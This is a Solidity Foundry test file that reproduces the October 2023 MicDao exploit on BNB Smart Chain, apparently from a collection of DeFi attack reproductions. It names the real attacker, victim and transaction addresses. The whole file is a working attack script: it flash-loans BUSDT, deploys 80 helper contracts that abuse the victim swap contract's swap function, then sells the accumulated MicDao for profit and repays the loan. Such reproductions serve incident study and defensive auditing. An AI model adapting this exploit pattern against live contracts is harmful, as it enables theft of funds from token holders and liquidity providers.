src/test/2023-10/MicDao_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$13K
8// Attacker : https://bscscan.com/address/0xcd03ed98868a6cd78096f116a4b56a5f2c67757d
9// Attack Contract : https://bscscan.com/address/0x502b4a51ca7900f391d474268c907b110a277d6f
10// Victim Contract : https://bscscan.com/address/0xf6876f6ab2637774804b85aecc17b434a2b57168
11// Attack Tx : https://bscscan.com/tx/0x24a2fbb27d433d91372525954f0d7d1af7509547b9ada29cc6c078e732c6d075
12 
13// @Analysis
14// https://twitter.com/CertiKAlert/status/1714677875427684544
15// https://twitter.com/ChainAegis/status/1714837519488205276
16 
17interface ISwapContract {
18    function swap(uint256 amount, address originToken) external;
19}
20 
21contract ContractTest is Test {
22    IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
23    IERC20 private constant MicDao = IERC20(0xf6876f6AB2637774804b85aECC17b434a2B57168);
24    IDPPOracle private constant DPPOracle = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);
25    Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
26 
27    function setUp() public {
28        vm.createSelectFork("bsc", 32_711_747);
29        vm.label(address(BUSDT), "BUSDT");
30        vm.label(address(MicDao), "MicDao");
31        vm.label(address(DPPOracle), "DPPOracle");
32        vm.label(address(Router), "Router");
33    }
34 
35    function testExploit() public {
36        deal(address(BUSDT), address(this), 0);
37        emit log_named_decimal_uint(
38            "Attacker BUSDT balance before exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals()
39        );
40 
41        DPPOracle.flashLoan(0, (BUSDT.balanceOf(address(DPPOracle)) * 99) / 100, address(this), abi.encode(0));
42 
43        emit log_named_decimal_uint(
44            "Attacker BUSDT balance after exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals()
45        );
46    }
47 
48    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
49        BUSDT.approve(address(Router), type(uint256).max);
50        MicDao.approve(address(Router), type(uint256).max);
51        BUSDTToMicDao();
52 
53        // Start exploit
54        uint8 i;
55        while (i < 80) {
56            HelperContract Helper = new HelperContract();
57            BUSDT.transfer(address(Helper), 2000 * 1e18);
58            Helper.work();
59            ++i;
60        }
61        // End exploit
62 
63        // Swap much more MicDao tokens to BUSDT
64        MicDaoToBUSDT();
65        // Repay flashloan and keep profit
66        BUSDT.transfer(msg.sender, quoteAmount);
67    }
68 
69    receive() external payable {}
70 
71    function BUSDTToMicDao() internal {
72        address[] memory path = new address[](2);
73        path[0] = address(BUSDT);
74        path[1] = address(MicDao);
75 
76        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
77            500_000 * 1e18, 0, path, address(this), block.timestamp + 1000
78        );
79    }
80 
81    function MicDaoToBUSDT() internal {
82        address[] memory path = new address[](2);
83        path[0] = address(MicDao);
84        path[1] = address(BUSDT);
85 
86        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
87            MicDao.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000
88        );
89    }
90}
91 
92contract HelperContract {
93    ISwapContract private constant SwapContract = ISwapContract(0x19345233ea7486c1D5d780A19F0e303597E480b5);
94    IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
95    IERC20 private constant MicDao = IERC20(0xf6876f6AB2637774804b85aECC17b434a2B57168);
96    address private immutable owner;
97 
98    constructor() {
99        owner = msg.sender;
100    }
101 
102    function work() external {
103        BUSDT.approve(address(SwapContract), type(uint256).max);
104        SwapContract.swap(2000 * 1e18, owner);
105        MicDao.transfer(owner, MicDao.balanceOf(address(this)));
106        selfdestruct(payable(owner));
107    }
108}